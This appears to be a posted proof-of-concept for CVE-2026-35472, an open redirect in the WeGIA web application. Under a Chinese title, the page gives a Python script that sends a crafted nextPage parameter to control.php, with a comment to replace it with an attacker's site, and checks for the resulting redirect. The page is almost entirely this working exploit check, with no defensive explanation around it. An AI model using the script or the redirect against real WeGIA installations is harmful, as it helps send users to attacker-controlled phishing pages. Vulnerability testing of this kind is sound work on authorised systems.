CVE-2026-35472 WeGIA开放重定向漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-35472 (WeGIA Open Redirect) import requests def check_open_redirect(target_url): """ Tests the WeGIA open redirect vulnerability. """ # The vulnerable endpoint endpoint = "/WeGIA/controle/control.php" # Parameters required to trigger the vulnerability based on the description # metodo=listarTodos and nomeClasse=EstoqueControle # nextPage is the vulnerable parameter params = { "metodo": "listarTodos", "nomeClasse": "EstoqueControle", "nextPage": "https://example.com" # Replace with attacker's site } try: # Send the request # allow_redirects=False is crucial to see the 302 response response = requests.get(target_url + endpoint, params=params, allow_redirects=False, timeout=10) # Check if the response is a redirect (302) if response.status_code == 302: location = response.headers.get('Location') if location and "example.com" in location: print(f"[+] Vulnerability Confirmed!") print(f"[+] Redirecting to: {location}") return True print("[-] Vulnerability not detected or target patched.") return False except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") return False if __name__ == "__main__": # Replace with the actual target IP or Domain target = "http://localhost" check_open_redirect(target)